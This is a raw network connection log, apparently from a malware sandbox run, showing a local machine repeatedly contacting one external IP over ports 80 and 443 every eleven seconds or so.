Sep 27, 2024 19:02:58.209261894 CEST	49805	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:58.209321976 CEST	443	49805	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:58.667463064 CEST	443	49805	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:58.667608023 CEST	49805	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:58.667980909 CEST	49805	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:58.668013096 CEST	443	49805	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:58.668049097 CEST	49805	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:58.668078899 CEST	443	49805	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:59.101944923 CEST	443	49805	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:59.102143049 CEST	49805	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:59.102207899 CEST	443	49805	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:59.102278948 CEST	443	49805	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:59.102314949 CEST	49805	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:59.102416992 CEST	49805	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:02:59.102446079 CEST	443	49805	185.86.211.137	192.168.11.20
Sep 27, 2024 19:02:59.102463961 CEST	49805	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:08.218318939 CEST	80	49804	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:08.218528032 CEST	49804	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:09.161683083 CEST	49804	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:09.161860943 CEST	49806	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:09.378091097 CEST	80	49804	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:09.382792950 CEST	80	49806	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:09.383053064 CEST	49806	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:09.383183002 CEST	49806	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:09.604162931 CEST	80	49806	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:09.605453014 CEST	80	49806	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:09.605736971 CEST	49806	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:09.606025934 CEST	49807	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:09.606111050 CEST	443	49807	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:09.606447935 CEST	49807	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:09.606599092 CEST	49807	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:09.606637955 CEST	443	49807	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:10.051680088 CEST	443	49807	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:10.051947117 CEST	49807	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:10.052243948 CEST	49807	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:10.052289963 CEST	443	49807	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:10.052402973 CEST	49807	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:10.052464962 CEST	443	49807	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:10.485994101 CEST	443	49807	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:10.486227989 CEST	49807	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:10.486315966 CEST	443	49807	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:10.486464024 CEST	49807	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:10.486509085 CEST	443	49807	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:10.486555099 CEST	49807	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:10.486598015 CEST	443	49807	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:10.486617088 CEST	49807	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:19.615669012 CEST	80	49806	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:19.615926027 CEST	49806	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:20.549659967 CEST	49806	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:20.549796104 CEST	49808	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:20.785517931 CEST	80	49808	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:20.785727978 CEST	49808	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:20.785826921 CEST	49808	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:20.798876047 CEST	80	49806	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:21.003273964 CEST	80	49808	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:21.004549026 CEST	80	49808	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:21.004755020 CEST	49808	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:21.005218029 CEST	49809	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:21.005319118 CEST	443	49809	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:21.005490065 CEST	49809	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:21.005743027 CEST	49809	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:21.005811930 CEST	443	49809	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:21.459489107 CEST	443	49809	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:21.459717989 CEST	49809	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:21.460102081 CEST	49809	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:21.460155964 CEST	443	49809	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:21.460216045 CEST	49809	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:21.460248947 CEST	443	49809	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:21.909905910 CEST	443	49809	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:21.910046101 CEST	443	49809	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:21.910109043 CEST	49809	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:21.910203934 CEST	49809	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:21.910515070 CEST	49809	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:21.910546064 CEST	443	49809	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:31.005671978 CEST	80	49808	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:31.005855083 CEST	49808	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:31.953737020 CEST	49808	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:31.953871965 CEST	49810	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:32.173577070 CEST	80	49810	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:32.173640013 CEST	80	49808	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:32.173816919 CEST	49810	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:32.174453020 CEST	49810	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:32.394546986 CEST	80	49810	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:32.395390034 CEST	80	49810	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:32.395677090 CEST	49810	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:32.395982981 CEST	49811	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:32.396083117 CEST	443	49811	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:32.396272898 CEST	49811	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:32.396466017 CEST	49811	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:32.396548033 CEST	443	49811	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:32.861691952 CEST	443	49811	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:32.861915112 CEST	49811	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:32.862246037 CEST	49811	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:32.862257957 CEST	443	49811	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:32.862401009 CEST	49811	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:32.862412930 CEST	443	49811	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:33.301282883 CEST	443	49811	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:33.301354885 CEST	443	49811	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:33.301449060 CEST	49811	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:33.301542044 CEST	49811	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:33.301817894 CEST	49811	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:33.301840067 CEST	443	49811	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:42.405462980 CEST	80	49810	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:42.405745983 CEST	49810	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:43.341300964 CEST	49810	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:43.341444016 CEST	49812	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:43.557919025 CEST	80	49810	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:43.559348106 CEST	80	49812	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:43.559551001 CEST	49812	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:43.559664011 CEST	49812	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:43.781084061 CEST	80	49812	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:43.781584978 CEST	80	49812	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:43.781785011 CEST	49812	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:43.782095909 CEST	49813	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:43.782157898 CEST	443	49813	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:43.782361031 CEST	49813	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:43.782536983 CEST	49813	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:43.782573938 CEST	443	49813	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:44.238670111 CEST	443	49813	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:44.238836050 CEST	49813	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:44.239223957 CEST	49813	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:44.239258051 CEST	443	49813	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:44.239353895 CEST	49813	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:44.239389896 CEST	443	49813	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:44.680250883 CEST	443	49813	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:44.680461884 CEST	49813	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:44.680520058 CEST	443	49813	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:44.680594921 CEST	443	49813	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:44.680712938 CEST	49813	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:44.680764914 CEST	49813	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:44.680794001 CEST	443	49813	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:53.791657925 CEST	80	49812	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:53.791846037 CEST	49812	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:54.744791985 CEST	49812	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:54.744996071 CEST	49814	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:54.960335016 CEST	80	49814	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:54.960485935 CEST	49814	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:54.960576057 CEST	49814	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:54.961606026 CEST	80	49812	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:55.175947905 CEST	80	49814	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:55.177107096 CEST	80	49814	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:55.177443981 CEST	49814	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:55.178066015 CEST	49815	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:55.178102016 CEST	443	49815	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:55.178298950 CEST	49815	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:55.178575993 CEST	49815	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:55.178596020 CEST	443	49815	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:55.616866112 CEST	443	49815	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:55.617119074 CEST	49815	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:55.617470026 CEST	49815	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:55.617486000 CEST	443	49815	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:55.617603064 CEST	49815	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:55.617614031 CEST	443	49815	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:56.071480989 CEST	443	49815	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:56.071567059 CEST	443	49815	185.86.211.137	192.168.11.20
Sep 27, 2024 19:03:56.071732044 CEST	49815	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:56.071732998 CEST	49815	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:56.072001934 CEST	49815	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:03:56.072024107 CEST	443	49815	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:05.186350107 CEST	80	49814	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:05.186516047 CEST	49814	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:06.101617098 CEST	49814	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:06.101835012 CEST	49816	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:06.317164898 CEST	80	49814	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:06.319174051 CEST	80	49816	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:06.319314003 CEST	49816	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:06.319405079 CEST	49816	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:06.536470890 CEST	80	49816	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:06.538369894 CEST	80	49816	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:06.538561106 CEST	49816	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:06.538870096 CEST	49817	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:06.538902998 CEST	443	49817	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:06.539012909 CEST	49817	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:06.539249897 CEST	49817	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:06.539267063 CEST	443	49817	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:06.983448029 CEST	443	49817	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:06.983591080 CEST	49817	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:06.983875990 CEST	49817	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:06.983887911 CEST	443	49817	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:06.983983040 CEST	49817	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:06.983992100 CEST	443	49817	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:07.424452066 CEST	443	49817	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:07.424530983 CEST	443	49817	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:07.424684048 CEST	49817	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:07.424967051 CEST	49817	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:07.424982071 CEST	443	49817	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:16.547688007 CEST	80	49816	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:16.547841072 CEST	49816	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:16.848079920 CEST	49816	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:17.067008972 CEST	80	49816	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:17.458482027 CEST	49818	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:17.684068918 CEST	80	49818	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:17.684254885 CEST	49818	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:17.684366941 CEST	49818	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:17.913430929 CEST	80	49818	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:17.913446903 CEST	80	49818	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:17.913613081 CEST	49818	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:17.914048910 CEST	49819	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:17.914073944 CEST	443	49819	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:17.914242983 CEST	49819	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:17.914468050 CEST	49819	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:17.914478064 CEST	443	49819	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:18.354218960 CEST	443	49819	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:18.354347944 CEST	49819	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:18.354971886 CEST	49819	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:18.354979038 CEST	443	49819	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:18.355130911 CEST	49819	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:18.355142117 CEST	443	49819	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:18.789371014 CEST	443	49819	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:18.789422989 CEST	443	49819	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:18.789578915 CEST	49819	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:18.789838076 CEST	49819	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:18.789851904 CEST	443	49819	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:27.916500092 CEST	80	49818	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:27.916691065 CEST	49818	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:28.815085888 CEST	49818	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:28.815296888 CEST	49820	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:29.031224012 CEST	80	49820	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:29.031429052 CEST	49820	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:29.031594038 CEST	49820	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:29.033303022 CEST	80	49818	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:29.251674891 CEST	80	49820	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:29.252845049 CEST	80	49820	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:29.253065109 CEST	49820	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:29.253407001 CEST	49821	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:29.253428936 CEST	443	49821	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:29.253587008 CEST	49821	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:29.253851891 CEST	49821	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:29.253863096 CEST	443	49821	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:29.702013969 CEST	443	49821	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:29.702322960 CEST	49821	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:29.702676058 CEST	49821	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:29.702686071 CEST	443	49821	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:29.703028917 CEST	49821	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:29.703037977 CEST	443	49821	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:30.139929056 CEST	443	49821	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:30.139991999 CEST	443	49821	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:30.140147924 CEST	49821	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:30.140198946 CEST	49821	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:30.140463114 CEST	49821	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:30.140476942 CEST	443	49821	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:39.258879900 CEST	80	49820	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:39.259026051 CEST	49820	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:40.171787977 CEST	49820	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:40.172007084 CEST	49822	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:40.388746977 CEST	80	49820	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:40.389302969 CEST	80	49822	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:40.389462948 CEST	49822	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:40.389682055 CEST	49822	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:40.606571913 CEST	80	49822	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:40.607471943 CEST	80	49822	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:40.607683897 CEST	49822	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:40.607990026 CEST	49823	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:40.608022928 CEST	443	49823	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:40.608223915 CEST	49823	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:40.608473063 CEST	49823	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:40.608484983 CEST	443	49823	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:41.048609972 CEST	443	49823	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:41.048875093 CEST	49823	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:41.049251080 CEST	49823	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:41.049269915 CEST	443	49823	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:41.049396038 CEST	49823	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:41.049407005 CEST	443	49823	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:41.484292984 CEST	443	49823	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:41.484378099 CEST	443	49823	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:41.484518051 CEST	49823	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:41.484788895 CEST	49823	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:41.484806061 CEST	443	49823	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:50.608210087 CEST	80	49822	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:50.608414888 CEST	49822	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:51.512924910 CEST	49822	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:51.513303041 CEST	49824	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:51.731843948 CEST	80	49822	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:51.731869936 CEST	80	49824	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:51.732156992 CEST	49824	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:51.732355118 CEST	49824	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:51.950006962 CEST	80	49824	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:51.950937033 CEST	80	49824	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:51.951124907 CEST	49824	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:51.951395988 CEST	49825	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:51.951517105 CEST	443	49825	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:51.951692104 CEST	49825	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:51.951874971 CEST	49825	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:51.951946020 CEST	443	49825	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:52.397510052 CEST	443	49825	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:52.397886992 CEST	49825	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:52.398376942 CEST	49825	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:52.398428917 CEST	443	49825	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:52.398459911 CEST	49825	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:52.398488045 CEST	443	49825	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:52.831139088 CEST	443	49825	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:52.831285000 CEST	49825	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:52.831309080 CEST	443	49825	185.86.211.137	192.168.11.20
Sep 27, 2024 19:04:52.831453085 CEST	49825	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:52.831568956 CEST	49825	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:04:52.831598997 CEST	443	49825	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:01.960545063 CEST	80	49824	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:01.960774899 CEST	49824	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:02.838435888 CEST	49824	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:02.838587046 CEST	49826	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:03.054481983 CEST	80	49826	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:03.055246115 CEST	49826	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:03.055321932 CEST	49826	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:03.055939913 CEST	80	49824	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:03.271234989 CEST	80	49826	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:03.272316933 CEST	80	49826	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:03.272566080 CEST	49826	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:03.273113012 CEST	49827	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:03.273211956 CEST	443	49827	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:03.273425102 CEST	49827	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:03.273767948 CEST	49827	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:03.273834944 CEST	443	49827	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:03.721148968 CEST	443	49827	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:03.721447945 CEST	49827	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:03.722369909 CEST	49827	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:03.722421885 CEST	443	49827	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:03.722520113 CEST	49827	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:03.722559929 CEST	443	49827	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:04.155827999 CEST	443	49827	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:04.155950069 CEST	443	49827	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:04.156040907 CEST	49827	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:04.156220913 CEST	49827	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:04.156311989 CEST	49827	443	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:04.156346083 CEST	443	49827	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:13.281887054 CEST	80	49826	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:13.282179117 CEST	49826	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:14.164074898 CEST	49826	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:14.164211035 CEST	49828	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:14.380471945 CEST	80	49826	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:14.382205963 CEST	80	49828	185.86.211.137	192.168.11.20
Sep 27, 2024 19:05:14.382419109 CEST	49828	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:14.382500887 CEST	49828	80	192.168.11.20	185.86.211.137
Sep 27, 2024 19:05:14.600642920 CEST	80	49828	185.86.211.137	192.168.11.20
